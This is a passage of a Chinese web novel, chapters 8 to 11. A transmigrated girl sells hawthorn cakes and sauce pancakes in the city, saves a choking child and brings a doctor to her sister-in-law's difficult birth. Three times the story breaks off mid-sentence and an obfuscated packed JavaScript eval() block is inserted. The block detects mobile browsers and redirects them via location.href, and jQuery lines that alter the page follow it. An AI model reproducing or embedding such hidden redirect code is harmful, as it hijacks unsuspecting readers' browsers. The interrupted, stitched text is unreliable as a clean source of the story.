崔三娘捧起碗,轻吹了几口气,然后才凑近碗沿小啜一口,舌头先感受到的是烫,随后是种无法言说的鲜美滋味,这鸡汤用的是最朴素的炖法,只加了清水与姜片,可那醇厚的口感,扑鼻的香气,是崔三娘过去喝的所有鸡汤都无法媲美的存在。
一个字,鲜。
她完全忘却了一切,小口小口,慢慢喝完了整碗汤,汤下肚胃暖了,整个人都舒服的像飘在云朵中。
烛光下,崔家每个人都露出了满足的神情,但鸡汤只是开胃菜,崔老太太再次握起木柄勺:“吃肉咯。”
8. 第 8 章
整整一大锅鸡肉,每个人都分得了大半碗。崔老太太脸上带着笑,捞起个大鸡腿搁在崔三娘碗中:“这鸡腿三娘要吃一个,若没有她,咱家今日鸡毛都摸不着。”
说罢又捞起另一只搁到崔家兴碗中:“家兴辈份和年纪都最小,他也有鸡腿。”
至于鸡翅根,自然是崔四娘崔五娘一人一只,剩下的鸡肝鸡心,则被老太太盛到桂氏碗中:“心肝补身,该你吃。”
崔三娘望着眼前油汪汪香气扑鼻的鸡肉,咕嘟一声,又吞下一口口水,穿越了大半个月,终于要吃上第一口肉了,真不容易,如此想着,先抓起碗中炖得骨酥肉烂的鸡腿,鸡腿的皮肉吸饱了汤汁,在烛光映照下闪闪发亮。
也顾不得烫手,崔三娘轻吹一口气后咬下满满一大口,随着咀嚼的动作,鸡肉的甘甜和油脂的香醇在口腔中交融,亦令人着迷,她斯哈着又啃下一口,肉丝儿柔软,肉皮一抿即化,不肥不腻,不一会就啃到了脆骨的位置。
崔三娘嗦了口汤汁,接着嘎吱一声,将脆骨及脆骨附近的筋肉咬下,她大嚼特嚼,香,除了香还是香。
啃完鸡腿,崔三娘继续吃碗里的鸡肉,里脊肉瘦,鸡爪香糯,鸡脖子能嚼碎骨头,她越吃越畅快,最后来上一碗粥溜缝,捧着肚皮竟感受到吃撑的滋味,原来吃饱,是这么幸福。
“过盐啦,过盐啦。”有鸡腿啃,崔家兴高兴得摇头晃脑。
崔三娘噗得一笑:“还有好几个月才到过年哩。”
不知道那时,崔家是何光景,崔三娘想着唇畔浮起一笑,应该会很幸福吧。
这一晚,夜里降了温,不过许是喝汤吃肉身体充满能量的缘故,崔三娘没有被冻醒,她在卯时初刻起身,在崔老太太和林氏的配合下,将余下的四斤面全做成了酱香饼。
院里的公鸡喔喔叫早之时,饼刚好全部出锅。
另一边,崔大郎亦洗漱妥帖,站在卧房门口道:“奶奶,三娘,咱出发吧。”
今日同崔三娘进城的只有崔家老太太,林氏原也要去,但崔三娘心里总有股说不上来的不对劲,好像家中要发生什么事似的,于是林氏留了下来。
“嫂子,等太阳出来记得帮我晒山楂。”都快走出院门了,崔三娘还回头叮嘱。
桂氏站在院里点头,声音柔和:“知道了,快走吧,等会几个小的醒了,非闹着去不可。”
崔三娘吐吐舌头,这才掩上院门,和老太太还有崔大郎踏上进城的路。一路快行,出发时天才蒙蒙亮,到得城门口时天光早已大盛,远远的,崔三娘就看见了高阔的石砌城门,上面有兵甲持械警戒,城门口则有七八处关卡,对来往行人进行查验。
如今是太平年月,入城的手续很简单,随身只携带小包袱的行人可直接放行,挑着担子装有货物的则需缴纳五文税银,至于马驮车拉的,则有专门的入城通道,有更加细致严格的规定。
崔大郎每日往返于城内城外,自然明白这些规矩,所以今日入城他们没有挑担子,而是将饼分装在篮子中,那一小包山楂片不占地方,崔大郎直接提在手中。
守城的官兵果然没收他们税银,只瞧一眼就放了行,崔三娘冲大哥伸出大拇指:“大哥真厉害。”
“这有什么,我们没有大宗货物,按律便不收税。”崔大郎笑一笑,指了指南边,“我当差的衙门叫城南巡检司,若有事就去那里找我,傍晚咱们在这道城门前汇合,若天快黑了我还没来,定是有公干误了时辰,不必等我,免得走夜路。”
崔三娘连连点头,崔老太太亦表示知道,崔大郎见了,方才放心往衙门走去。
“城里的热闹果然不同凡响。”
崔大郎走远后,崔三娘环顾四周,看着脚下宽阔整洁的青石大道,远处错落有致的房屋巷道,她忍不住发出感慨,看看行人身上光洁靓丽的裳裙,再低头瞧瞧自家坠满补丁的布衫,忽然又有刘姥姥进大观园的感觉。
不过,她到底不是真的十二岁,若十二岁的女孩儿置身于此,定会为自家的贫瘠而自惭形秽,可她,崔三娘感受着城中喧闹的气息,只有卖清货物,大挣一笔的激情。
崔老太太已是半截身子入土的人了,更不会扭捏害羞,祖孙俩笑眯眯的边走边欣赏街景,来到一处热闹人多的路口,崔三娘放开嗓子开始吆喝:“山楂糖糕,酸酸甜甜的山楂糖糕。”
崔老太太昨日在集市上吆喝过一回,今日亦有了经验,她吆喝的是酱香饼:“又香又酥的酱香饼,令人稀罕的酱香饼,快来买哟,好吃呢。”
街面上行人如织,往来不绝,只是卖货的人也多,香糖果子、肉脯蜜饯,品种繁多的直叫人咋舌。
崔三娘和崔老太太叫卖了好一阵,那些酱香饼只卖动几份,山楂片更是无人问津,这般下去可不成,崔三娘站在街口左右环视一圈:“奶奶,这里人多热闹可卖货的也多,咱们去那边的宅院前看看吧。”
崔老太太自然听孙女的,应声好后跟着崔三娘往西边走。
这是一片青砖黑瓦的住宅区,间有一两间小商铺,崔三娘走得乏累了,干脆在一株梧桐树下停住,她取出盛山楂片的小木盒,这木盒还是昨日柳家送的礼中带的,半尺长,手掌宽,还挺金致好看,随后她将来的路上摘的几枝小野花插在盒盖上,边上摆了三五颗饱满红润的山楂果。
这一番操作后,粉红色的山楂片忽有了几分野趣,颜值也增加不少。
“卖山楂糕,开胃健脾,酸酸甜甜哩。”
崔老太太连声赞叹这样摆好看,都说城里人吃东西,不仅讲究滋味,还要看卖相,这糕经崔三娘这么一摆弄,真是要卖相有卖相,要滋味有滋味。
“你在这树下摆摊,我上周遭吆喝吆喝去。”崔老太太说完,走了几步复又回头。
崔三娘知道老太太要说什么,笑眯眯道:“您放心,我就在树下,哪里也不去。”
老太太一听,这才挎着装饼的篮子安心离去。
“山楂糕,卖酸甜开胃的山楂糕啦
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480614|201713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
崔三娘抱着膝盖,在秋日的柔风中缓声叫卖,所有的季节里,她最喜欢秋天,不冷不燥,最叫人舒服。
只可惜秋日短暂,寒冬即将来临,崔三娘想到这里,忍不住双手合十,在心中小声祈祷:“快来客人吧,快来客人吧。”
她等着卖了钱置办冬衣冬被呢。
正吆喝得起劲儿,不远处的巷道中突然传来一阵急促的脚步声,紧接着有个五旬左右的胖妇人奔出来:“哎呀,快救命呀,大夫呢,大夫在哪里?!”
听胖夫人撕心裂肝,嗓门尖利的骇人,边上一间书墨局的掌柜探出身来:“怎么了?哦,街口有家杜太医医馆,那里有坐堂的大夫。”
“哎呀!”胖夫人也不及解释,按照掌柜的指引,往前奔着寻大夫去了。
崔三娘听这动静有些好奇,便站起来往巷里探看,也就几瞬的功夫,巷里又跑出个老伯,怀中抱个胖乎乎的小童,老伯同方才的胖妇人一样,亦是大喊大叫,听得人紧张又害怕:“救命啊,救命啊,谁来救救我的孙儿,辉哥儿啊,爷爷的心肝宝贝,你这是怎么了!”
周遭的居民听见动静,纷纷围拢过来,崔三娘也跟着跻身上前,只见那小童一岁多点,此刻脸色青紫,喉咙中咯咯带响,手脚胡乱挥动,瞧着特别恐怖,居民们议论纷纷:“这怎么搞的,遇见脏东西了?”
“哎呦,莫不是抽羊癫疯?”
老伯欲哭无泪,不住的安抚孙儿,但毫无作用:“我孙儿一向康健,并没有抽风病,倒是昨夜带他出门耍过,莫非夜里太黑路上遇见了不干净的玩意?”
崔三娘正仔细瞧看小童的脸色,忽注意到他的手里紧紧抓着半个桂圆壳:“老伯,他刚才在吃什么?”
那老伯抬起头来,苦着脸答:“果干,我儿子从外头带回来的果干!”
这便没错了!崔三娘来不及多作解释,将小童拦腰抱到身前,接着双手环扣,在小童的腹部猛烈的冲击,一次、两次、三次、五次,小童垂着头毫无反应,崔三娘却已力竭。
她忙又将孩子塞到那老伯手里:“快按按我刚才的样子做,他是被噎住了!”
老伯和围拢在周遭的居民都满脸莫名奇妙,但看这小童已是出气多进气少,死马当作活马医,便谁都没有异议,反而催促那老伯:“快快快,试试看!”
那老伯赶紧照办,一次、两次、三次,时间在此刻是那么漫长,终于,在连续七八次的冲击后,小童哇的一声,吐出个圆乎乎黑漆漆的桂圆核。
“哇呜呜呜。”小童扑进老伯的怀中大哭起来。
听见这哭声,众人悬着的心终于落回肚中,也是在这会儿,刚才那哭嚎着去寻大夫的胖妇人也回来了,身后跟着个急色匆匆的老大夫,看见孩子已没事,胖妇人捂着胸口叹一声菩萨保佑,直接跌坐在地。
老大夫检查了小童的口鼻,又看了看脉象:“没事了,只是受了点惊吓。”
虚惊一场是天底下最大的幸运。
9. 第 9 章
老伯和胖妇人千恩万谢了一番,这才将小童抱回家去。
崔三娘目送着他们离开,正准备继续回树下去卖糕,老大夫却对她刚才救人的手法很感兴趣,并问她师承何人。
这个嘛,崔三娘也说不清楚,后世鼎鼎大名的海姆立克急救法究竟是谁的发明:“好用就行了。”
“此言在理。”老大夫捋着胡须哈哈大笑。
看他还没有走的意思,崔三娘想了想:“先生莫非,想学?”
老先生一愣,看上去有些难为情,纠结半晌道:“老夫钻研医术几十载,最擅儿医,可若遇见小孩被噎被呛,须臾之间却没有好的施救之法。”
说着老大夫的脸色阴沉下去,显然想起了些叫他心有余悸的画面:“哎。”
崔三娘能体会老大夫的心情,现世曾有句戏言,你的医生一定是最希望你活下去的人之一,此话古今皆能通用,而且海姆立克急救法的发明者虽然不详,但他的创造者一定希望这个方法可以救治更多的人。
“这法子很好学的,我可以教你。”崔三娘道。
“哎呀,姑娘你真是位大善人。”老大夫说着拱手一揖,崔三娘身为晚辈急忙回礼。
这一来一往之间,崔老太太提着篮子回来了,恰好见到这一幕,走过来听见孙女儿竟要教授老大夫医术,一双眼睛更是瞪得如铜铃大。
都说久病成医,莫非三娘是吃药吃多了,自通了药理?
老大夫见在路边不方便,邀请崔家祖孙俩去街口的医馆里慢慢说,崔三娘看了看老太太后答应了。
于是老大夫在前引路,崔老太太挎着篮子和崔三娘走在后头,崔老太太心里有些不安,悄声问崔三娘:“你同奶奶交个底,你没诓这位老大夫吧。”
崔三娘听罢露出苦笑:“奶奶,我岂是这等人。”
崔老太太上下打量着孙女,从前自然不是,现在嘛,浑身上下透着一股机灵劲儿,倒越来越像二郎了,想起投军后毫无音讯的二孙子,崔老太太一声叹:“那你这救人的法子谁告诉你的?”
“二哥告诉我的。”崔三娘又将崔二郎搬了出来。
崔老太太听罢嘟哝一句:“这小子,一天天的正经事不做,从哪学来这么多杂七杂八的。”
-
杜太医医馆的创建人杜老太医早已离世,如今的继任者姓陆,正是眼前的老大夫,他是杜太医的大弟子。
入了医馆大门,陆老大夫忙令药童端来茶水,崔三娘与崔老太太正好口渴,也不客套,咕嘟咕嘟饮下一大杯。
崔三娘抹了抹嘴角的水渍,开始向陆大夫讲述了她所用的急救方法,说到细致处,老大夫还叫来徒弟亲自上手操作,直到各个细节都研究明白,方捋须大赞:“妙,妙,妙,此法妙不可言!”
眼见日头高涨,就快到用午时的时辰了,崔三娘赶着去卖饼,便向陆大夫辞行。
“崔姑娘稍等。”陆大夫追上来,其实他老早就注意到了木盒中的山楂片,只是一直没工夫询问,“此物外表靓丽,闻之酸甜,听你的吆喝,还有药用?”
崔三娘连连点头:“山楂的功效,陆大夫您恐怕比我清楚。”
这便好办了,陆大夫双手一击掌,豪气开口:“我都要了!”
崔三娘惊了一下,随后摇头:“您不必如此,若想帮我,买一份尝尝就好啦。”
“哪里哪里,我们医馆不仅看病抓药,还售卖润喉膏、清肺丸、枇杷露等药膳,崔姑娘您制作的山楂糕花样新鲜,口味又好,正可作为药膳售卖呐。”陆大夫说着让药童称一称那山楂糕的重量,“这糕多少钱一两?”
崔三娘头回卖这个,自己也吃不准价格,想了想直爽开口:“也不瞒您,此物造价不贵,但耗时耗力,还受季节的限制,您看十文一两如何?”
话音刚落,药童就报出了重量,共一斤二两。
陆大夫听罢拉开柜台后的小抽屉,取出一陌铜钱,又另外数了二十文:“成交。”
这笔买卖做得轻易!崔老太太笑得合不拢嘴,出了医馆的大门后,陆大夫还追出来叮嘱:“往后若还做糕,直接拿来我这儿!”
崔三娘笑着颔首。
接下来,就是一心一意的卖饼了。
许是到饭点的缘故,买饼的人一下就多起来,虽然这时饼已变凉,但四文一个,价钱不贵,又是没吃过的新鲜口味,饥肠辘辘的食客们不介意,崔三娘钱收的也爽利。
“喂,等等!”
走到街口时,身后突然有人唤,回头看是方才买过两个饼的汉子,汉子追上来:“你们还有多少饼?”
崔三娘掀开小褥子数了数:“还有十六个。”
“全要了。”原来这汉子是营里的兵卒,今日上司赏了笔银钱让下头的人买酒水吃喝,这兵卒尝了酱香饼觉得滋味好,硬是追了两条街。
这汉子来自蜀地:“要是加了辣子,吃起来更爽!”
崔三娘一边给他装饼一边笑:“新开张,故只有一样口味,往后会做辣味的。”
“那好!”汉子接过一大包饼,大跨步而去。
崔三娘和崔老太太一个提着空篮子,一个捧着空盒子,俱都松了口气。
这才刚过晌午,饼和糕都售罄,京城就是京城,这买卖就是好做!
“奶奶,咱寻个地儿吃午饭吧。”
离家时崔三娘在怀里塞了两个蒸白薯,方才已全吃完,但今日消耗大,消化亦快,这会儿就已饿得前胸贴后背,又怎么饿着肚子走十几里路回黄石村?
崔老太太也饿,左右四顾后指了指边上:“那儿有卖面条的。”
二人走到门口,崔三娘抢先开口:“来两碗青菜面。”
崔老太太听罢当时就急了,这青菜面要八文一碗!
但崔三娘很坚持:“必须要两碗面,钱能挣也能花,不吃不喝怎么成,而且哪有孙女吃面奶奶喝汤的道理,奶奶若不吃,那我也不吃了。”
“好吧,依你依你。”崔老太太满脸无奈。
面馆老板是个青年妇人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480615|201713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,一边煮面一边笑着开口:“老人家,您好福气,这孙女啊真孝顺。”
崔老太太得意极了,抱着手臂自豪的接话:“是呀,她打小就聪慧伶俐,是个知冷知热的贴心娃娃,只可惜生在穷人家,在我跟前没福可享。”
崔三娘听得脸红:“奶奶净说瞎话。”
“不说了,奶奶不说了。”崔老太太冲店家一乐,“孩子大了害羞。”
这时面也煮好了。
这是手擀的细面,劲道又透亮,在沸水中煮熟后捞出,淋上一勺熬得发白的骨汤做汤底,洒上一搓碧绿小葱,配上当季的嫩菜叶,又好看味道又香,崔三娘还加了一勺店里炸的油辣子,搅拌了几下,先嗦了一大口。
好久没吃过面条了,小麦的香气令人陶醉。
骨汤熬得很清爽,鲜中透咸,加上油辣子提味,佐上些葱丝,一切都恰好好处,连面带汤的吃净,胃又满又舒服。
崔老太太打了个嗝:“舒坦,身上都暖了。”
这样一想,这八文钱花得很值。
“奶奶,天儿不早了,咱们买东西去。”
家中物资告急,她们得赶紧去采购。其中最急需是白面,崔三娘和崔老太太直奔粮行所在的街道,货比三家后在一家小店要了二十斤,花去了二百二十文,接着又去杂货铺,要了半斤黄糖和半斤三等砂糖,又花去六十五文,今日拢共卖了三百余文,除去面钱,祖孙俩手下只剩不到十个铜板。
崔老太太不禁肉疼:“钱真不禁花。”
而且就连剩的这几个铜板也留不住,家中存盐不多了,还得买包盐。
从行市里出来,崔老太太的脸色青的像打霜的苦瓜,崔三两提着面袋,笑着开解老太太:“今日虽花掉了三百文,待做出成品来,至少能翻三倍!”
三倍就是一贯,崔老太太顿时来了精神头:“没错!”
待她们走到与崔大郎约好的城门口,日头已快落山,如火的夕阳如霞锻绚丽,崔三娘眯眸欣赏着:“真漂亮。”
来这儿的日子愈久,愈发觉得这里的天透亮干净,空气清新甘甜,就连风都带着花香。
“虎子,回家啦。”
城门口有摆水饮摊的老婆婆,这会儿也收拾好摊位,带着孙儿归家了,路上行人亦是脚步匆匆,鸟倦归巢,人夜归家,古往今来皆是如此。
崔三娘看了会景色,又探头往崔大郎的衙门方向张望:“大哥莫不是又被事耽搁了?”
眼见天色不早,若要赶在天黑前归家,这会子就该出发,崔三娘不想误了时辰,便提起东西,预备回村。
老太太也不想再等,点点头:“咱们出城。”
城外的屋舍上头,已是炊烟缭绕,好闻的饭菜香飘得到处都是,想来家里也在准备暮食了,崔三娘捋了捋额发:“奶奶,咱走快些。”
才走了一刻钟,身后突出传来崔大郎的声音:“奶奶,三娘,等等我。”
崔大郎追上来,笑着道:“总算赶上你们了,走,咱一起回家。”
10. 第 10 章
回程的路总是快些,不知不觉路程已过半。
落日悬在地平线上,眼看就要彻底西沉,崔三娘一边迈着步子,一边说话:“今日还以为大哥有事耽搁了,早知道就该再等一会。”
崔大郎背着面口袋,步子迈得轻快:“今天衙门里不忙。”
语毕,他在心中叹了口冷气,其实今日他一直在忙。按上司万书吏的要求,是要他在今日将永和元年至十年的库本都翻找完,这库本一年有数册,浩瀚如烟,崔大郎只翻找到第五年,眼看天色将晚,担心三妹与奶奶的安危,便不顾万书吏的吩咐,径直出了衙门的值房。
说起这崔大郎,他七岁开蒙,一直在私塾读到十三岁,第一次去县城考学,就得了个童生回来,这在黄石村引起了不小的轰动,崔家人更是信心百倍,要供他继续考学,效仿祖辈赚一个官身,只可惜两年后崔父意外离世,崔家的生计霎时陷入困顿。
崔大郎是长孙,父亲离世后自该由他顶门立户,于是他态度坚决的从县学里退学,回村务农,熬了三年,县衙里招吏人,崔大郎一举考中,这才吃上了公家饭。
只是这公门一入,才知里头的水又浑又臭。
就拿他所在的城南巡检司来说,长官正五品衔,下辖城南四坊的治安,负责缉盗擒匪,本该是正廉清明的衙门,可他当值的书务部却乌烟瘴气,顶头上司万书吏一门心思讨好逢迎,下头的杂活苦活都扔给他。
每日被压着一头过日子,崔大郎数次萌发退意,但看着家中老小,处处皆是开销,他便将这心思深埋心底。
“大郎,想什么这样出神。”崔老太太和崔大郎讲话,见他久不答应,伸手在他眼前挥了两下。
黄石村已近在眼前了,崔三娘提着空篮子笑着接话:“大哥定是想念大嫂啦。”
桂氏临盆在即,崔大郎的确时时都悬着心,只恨不能告假一段时日,陪妻子待产:“就你爱耍贫嘴。”他笑了笑,“再快些,你嫂嫂定已备好饭食等咱们了。”
崔三娘声音清脆:“好嘞。”
语毕三人皆加快了速度。
到得村口,天已黑透了,星星没有出来,只有村里星星点点的昏黄烛光,崔三娘辨认了好一会,才认出村口大界碑下的黑影是崔四娘:“四娘,你在这等我们呢?”
崔四娘奔上来,握紧崔三娘的手,又扭头冲崔大郎和崔老太太喊:“嫂子要生了!”
什么?!桂氏发动了!
三人一惊,随后小跑着往家去。
接生婆早已请到了桂氏床前,林氏忙里忙外的烧热水,准备剪子、小衣、包被等物,崔五娘拉着崔家兴待在堂屋里,因是第二胎,一应准备还算齐全,只是桂氏的脸色苍白的骇人,牙死死咬着下唇,豆大的汗珠不住的滚落。
崔三娘从未见妇人生过孩子,只知道会很痛,她想近前安慰几句,却被崔老太太招呼到了灶房。
未出阁的女孩儿不许进产房,崔大郎是男子,亦不许进入,林氏安排他俩烧火,熬红糖水。
“桂娘如何了?”崔大郎等的焦急,不住的站到房门口打问。
可时间一分一秒的过去,屋里仍旧没动静,到后来,会听见桂氏忍不住发出的低哼声,林氏与崔老太太按照接生婆的吩咐各种忙碌,熬催生汤药、喝糖水、拜祖宗等等。
崔三娘坐在灶膛前守着火,火堆不时的发出噼啪声,搅得她心烦意乱。
望着红彤彤的火焰,她心中忽然有种极不好的预感,妇人生孩子当真要这么久吗?据说桂氏是晌午发动的,都五六个时辰了,孩子为何还未出世?
想到这,崔三娘扔烧火钳,快步走到院里,正巧遇上接生婆出屋来。
“刘婆婆,你去哪儿?我嫂子怎样了?”
这位刘姓接生婆年近六旬,干瘦佝偻的身材,活像一只大龙虾,听了崔三娘的问话后,猛地惊了一下,干瘪的唇抿了抿,并不吭声。
这时崔老太太也跟出屋,瞧那脸色有些阴沉。
莫非情形不好?那种不佳的预感更强烈了几分,崔三娘连忙抓住刘婆婆的胳膊:“求婆婆实话实说,我嫂子究竟怎么样了?”
刘婆婆年轻时是位绣娘,半路出家做的接生婆,其实这年代也没什么专业接生婆,都是经历多了,找位前辈学一学,就会到处帮人接生。
很多不靠谱的接生婆遇见难产怕吃挂落,这时就会找借口溜走,好在这姓刘的婆子人品还算可靠,且现在被崔三娘揪住不放,想走也走不得,于是一跺脚一咬牙:“哎!胎位不正,孩子迟迟不出来,得快些找其他人!”
“这黑灯瞎火的,去哪里找!”崔老太太听罢急的捶胸顿足。
这时崔大郎追问道:“刘婆婆可知哪里有好大夫?”
刘婆婆苦着脸:“好大夫遍地都是,可不曾听说谁擅长接生!”
自古妇人生孩子,都似在鬼门关过一遭,不料这时代竟连专业些的产科大夫都没有,崔三娘简直绝望了,这时她突然想起今日遇见的陆老大夫,陆老大夫的医馆中有三位弟子,其中有一位是女弟子。
崔三娘讲解急救法时,这位女弟子就在旁观看。
既是女医者,对妇人的各项症状总会有所涉猎!想到这里,崔三娘高声道:“我们入城,去杜太医医馆找大夫来替嫂嫂瞧!”
崔大郎眉蹙得紧,除了进城求援,现在似乎没有更好的办法。
只这样一来,又面临难题,怎么入城?从黄石村到杜太医医馆有十多里,走路一来一回恐怕天都亮了。
崔三娘灵光一闪:“咱们骑马去!”
马儿脚程快,一来一回只需要半个时辰,目下村里,只有柳家人养得起马,事不宜迟,崔三娘举一盏风灯出了门,崔大郎急忙跟出来,一齐往村西北方向走去。
柳家二房很快就到了,白墙黑瓦的广阔宅院,大门由两扇一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480616|201713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
丈高的朱漆扬木组成,崔三娘急切的扣动门板上的铜环,很快就有睡眼惺忪的门房提灯来开门,听崔三娘自报家门后,这门房大惊:“崔姑娘你是小少爷的救命恩公,崔家有急事,我们柳家自然要帮。”
说完就进了院子里,不一会就牵出一匹高壮的枣红马出来。
“多谢!”崔大郎翻身上马,拱拱手后又将崔三娘扶上马背,待她坐稳后抖动缰绳,“驾!”
这枣红马性格温驯筋骨健壮,立即撒蹄往前奔去。
到了城门口,崔大郎向守城卫兵出示了巡检司的腰牌,卫兵随即放行,待他们赶到杜太医医馆门前,医馆早已大门紧闭,漆黑一片。
事情紧急,崔三娘也顾不得礼仪体面,同崔大郎一起上前用力的拍打门窗,过了片刻,终于有披着衣裳的药童来开门,他还认得崔三娘,听她要找大夫,颔首道:“师傅近日在写医书,恐怕还没就寝,我去请师傅过来。”
话音刚落,后院里听见响动的陆大夫竟已走了出来,听说有这样人命关天的事,急忙道:“你们来得巧,今日的女医是老朽女儿,自幼研学医理,对妇人诸般症状极了解,只是她实践不多……”
眼下哪里还能选!崔三娘忙不迭的点头:“请陆小姐帮帮忙,救我嫂子性命。”
药童已去通知陆小姐准备了,陆大夫想了想,终究不放心,也准备好了药箱,随后与女儿陆凝雪共骑一乘,和崔三娘崔大郎一起往黄石村疾驰而去。
马儿一路掀蹄狂奔,崔三娘感觉自己五脏六腑都快被颠出来,到得家门前,就听见桂氏原本的闷哼声已化做了哀嚎,一声一声催人心肠。
刘婆婆听见马蹄声从屋里探出头:“哎呦,救兵终于来了!”
崔三娘跳下马,见院子里还有两个陌生的胖壮妇人,原来柳家的门房在他们走后向柳云海禀报了情况,怕崔家人手不足,柳家特意派了两个妇人来帮忙。
危难时刻最见人心,崔三娘在心里记下了。
这时陆大夫父女也到了,陆凝雪十八九岁的年纪,年龄虽然不大,却很老成,下马后就提着药箱进了桂氏的屋子,不一会问:“熬一碗浓浓的糖水来,产妇没力气了。”
言罢又缩回去,接着陆续要了热水、长条的布料、麻绳等物,有事还出来同陆大夫商议,请教针灸刺激穴位等等事宜,崔三娘一直忙着备东西,偶尔听上一耳朵,心里渐渐踏实,桂氏也在陆凝雪的安抚下逐渐安静。
又不知过去多久,房中响起婴儿呱呱坠地的哭喊声,那声音极有穿透力,靠着墙壁昏昏欲睡的崔三娘霎时清醒了,她忙起身来到房门口,满脸急切的朝里面张望。
不一会崔老太太出来给大家递信儿:“是个小闺女,母女平安。”
一颗悬着的心终于落下,崔三娘这才惊觉自己出了一脑门的汗,恰好这时一缕天光跃上地平线,晨光初露,天都亮了。
真好,一切都很好。
11. 第 11 章
忙乱了一整夜的崔家,终于在天亮后归于寂静。
虽然崔三娘挽留了好几次,熬了一宿的陆大夫依旧没有留下来补眠,他得赶回医馆坐堂看诊,至于陆凝雪倒是留了下来,按照她的说法,产妇生下孩子以后也不能掉以轻心,要随时监看,以防产后大出血。
吃过一碗白米粥后,陆凝雪睡到崔家三姊妹的通铺上,崔三娘在外间的床上补眠,至于崔四娘崔五娘还有崔家兴,夜深后熬不住他们便去睡了,现在皆在灶房帮忙烧热水。
林氏和崔老太太,则是轮流照看桂氏和新出生的小娃娃,得闲的那个才到崔三娘边上眯半个时辰。
崔大郎安顿好妻儿,一早驱马再度入城,同上司告假。
按照大周王朝的条律,妻子生产,崔大郎可休沐十日。
-
屋里安静极了,疲累了一日一夜的桂氏吃过红枣蛋糖水,闭目睡得香甜,新出生的娃娃也安静,裹在小包被中只露出一张肉嘟嘟的脸颊,靠在娘亲怀中亦睡得安稳。
风轻轻拂动院里的槐树叶,远处偶尔传来一两声狗吠。
崔三娘便在这样的宁静气氛中醒来,伸了个懒腰,呆坐了好一会才幽幽回过神,回想一番,才想起家里添了新成员,她还没抱过那小家伙呢。
是个奶呼呼的女娃,崔家的娘子军又要添新成员。
想到这崔三娘穿上鞋走出屋,急不可耐的要去见见小娃娃,只是才出门,就见大哥正坐在堂屋廊下出神,瞧那脸色有些不好。
“大哥回来啦。”崔三娘其实早几日就发觉崔大郎似有心事。
但他早出晚归,崔三娘手上活计儿也多,兄妹二人一直没空好好说话。
“昨夜你辛苦了。”崔大郎眼圈有些发青,眼神中还透着几分疲惫,“幸好你认识陆大夫,不然你嫂子昨夜恐怕……”
崔大郎声音一哽,再说不下去。
崔三娘也是心有余悸:“事过去了,崔家无论遇见什么,都会平平安安。”
“你说得很对。”崔大郎露出一丝笑,望着崔三娘一时心中无限感慨,“不知不觉,你都长成大人了。”
能为家里分忧,能解决难题,甚至可以独当一面,回想自己十三岁时,还用着家里的银钱在书堂上念着之乎者也,想到这里,崔大郎自嘲一笑。
另一边,崔三娘绞着衣袖上的滚边,觉着这是个说心里话的好时机,于是她微微仰起头,接住崔大郎的话茬:“我在大哥心中即然已算大人,那么大哥若有烦恼,何不说给我听一听呢。”
“家里添了新喜,我哪有烦恼。”崔大郎淡笑着说道。
崔三娘撇了撇嘴:“大哥还是将我当小孩看,那这样,你和我说说衙门里是什么样?你们每日都在做什么?”
见崔三娘这么执着,一心想开解自己,崔大郎自嘲的心更盛,沉默了半晌,才缓慢开口。
“巡检司的长官叫被称为巡城令,是正五品,一般负责城中大案,很少在衙门中坐堂,我们也很少见到巡令大人……我所当职的地方叫书务部,管理着巡检司近几十年的档案卷宗,书务部一共有四人,领头的叫万书吏,他有一个亲随,姓文,剩下两位吏员,一位是我,另一个年老昏聩,姓朱……”
许是真的憋了太久,崔大郎开了口就再也停不下来,从他初入职开始,到最近的公事,简略不一缓缓说来,崔三娘仿佛见到一位心有壮志的少年,是如何从兴致昂扬到心如死灰的。
“这么说来,值房里有四个人,却只有大哥你一个人做事!这不是欺负人吗?!”
崔三娘在现世就是个牛马打工人,平生最恨的就是画饼的领导和摸鱼的同事,多干活又不多发钱,这如何忍得?!
崔大郎说完心中轻松多了,见崔三娘这义愤填膺的模样,反过来安慰她:“世道便是如此,愤怒也没办法,好在你大哥我年轻力盛,这力气是使不完的,多做些活儿不打紧,而且吏员当差五年有一轮考核,得优者一般都能升迁。”
这也是崔大郎决心在衙门中熬下去的原因,他若顺利升职,禄米便可翻一倍,家计可缓解不少,而且巡兵部的曹书办对他颇为赏识,已暗示五年期满考核时,会将他要到巡兵部当值。
崔三娘轻叹一声,还是为崔大郎感到不平,但设身处地一想,家贫人微,大哥能考到吏职已是不易,除了暂且忍受,似乎也没别的好办法。
正在这时,屋里响起小娃娃嘤嘤的哭声。
“哟,睡醒了。”屋里头响起崔老太太的声音。
接着是桂氏的说话声:“呀,拉了。”
